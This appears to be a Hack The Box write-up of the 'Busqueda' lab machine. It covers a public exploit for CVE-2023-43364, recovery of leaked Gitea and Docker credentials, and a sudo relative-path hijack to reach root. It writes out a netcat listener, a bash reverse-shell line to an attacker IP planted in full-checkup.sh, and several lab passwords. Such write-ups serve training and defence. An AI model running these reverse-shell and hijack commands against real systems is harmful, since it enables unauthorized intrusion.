HTB-Busqueda

1. Reconnaissance

Full port scan

nmap -p- --min-rate 5000 10.129.228.217

Result:

• Port 22/tcp — open — SSH
• Port 80/tcp — open — HTTP

Service/version scan

nmap -A -p 22,80 10.129.228.217

Result:

• 22/tcp → OpenSSH 8.9p1 (Ubuntu)
• 80/tcp → Apache 2.4.52, Werkzeug/2.1.2, Python/3.10.6
• Page title: “Searcher”

Host setup

• Added searcher.htb → 10.129.228.217 to /etc/hosts

• Browsed to http://searcher.htb → found app version 2.4.0

2. Initial Foothold

Vulnerability identified

• App version 2.4.0 → CVE-2023–43364
• Found public exploit on GitHub

Exploitation

# Listener
nc -nvlp 9001

# Exploit
./exploit.sh <TARGET> <ATTACKER_IP> <PORT=9001>

✅ Got reverse shell as svc
✅ Captured user flag: /home/svc/user.txt

3. Enumeration for Privilege Escalation

Found exposed Git config

• Path: /var/www/app/.git
• Inside, discovered a Gitea credential leak:

<http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git>

• Added gitea.searcher.htb to /etc/hosts
• Logged into Gitea with: cody : jh1usoih2bkjaspwe92

Repo analysis

• Found app.py source code in the repo
• Found an admin account: administrator@gitea.searcher.htb (password unknown at this point)

Shell upgrade

python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm

Sudo rights check

sudo -l

Using cody's password, found:

(root) /usr/bin/python3 /opt/scripts/system-checkup.py *

4. Abusing system-checkup.py

Available subcommands

sudo /usr/bin/python3 /opt/scripts/system-checkup.py

• docker-ps — list running containers
• docker-inspect — inspect a container
• full-checkup — run full system checkup

⚠️ Note: running the script without the full path (sudo /opt/scripts/system-checkup.py ...) was denied by sudoers — had to call it as:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py <subcommand>

docker-ps

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

Result: two containers running:

Get Cryx’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Container Image Ports gitea gitea/gitea:latest 127.0.0.1:3000→3000, 127.0.0.1:222→22 mysql_db mysql:8 127.0.0.1:3306→3306

docker-inspect

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
# Usage: docker-inspect <format> <container_name>

Referenced Docker formatting docs: https://docs.docker.com/engine/cli/formatting/

Dumped full JSON config of the mysql container:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' f84a6b33fb5a
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' f84a6b33fb5a

Credentials recovered:

• Root password: jI86kGUuj87guWr3RyF
• MySQL / Gitea admin password: yuiu1hoiu4i5ho1uh

full checkup

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
# → "Something went wrong"

5. Gitea Admin Access

• Logged into Gitea as admin using password: yuiu1hoiu4i5ho1uh
• Found 4 files in the admin repo
• Reviewing system-checkup.py source revealed:
• The full-checkup option executes a script named full-checkup.sh from the current working directory
• → Since the script doesn’t use an absolute path, we can plant our own full-checkup.sh in the working directory before running full-checkup as root

Planned exploitation path (root shell)

• Create a local full-checkup.sh containing a reverse shell or /bin/bash payload
• Run sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup from the same directory
• The root-owned script executes our planted file → root shell

Reverse shell payload (in progress):

echo -ne '#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.10.15.247/8888 0>&1' > full-checkup.sh
chmod +x full-checkup.sh

6. Flags

Key Takeaways

• Old CVEs on exposed web app versions are still a fast win for initial foothold.
• Exposed .git directories frequently leak live credentials.
• Sudoers entries allowing wildcard scripts (script.py *) are worth enumerating subcommand-by-subcommand.
• Scripts that call other scripts/binaries via relative path are a classic privilege-escalation vector — plant a malicious file in the CWD to hijack execution.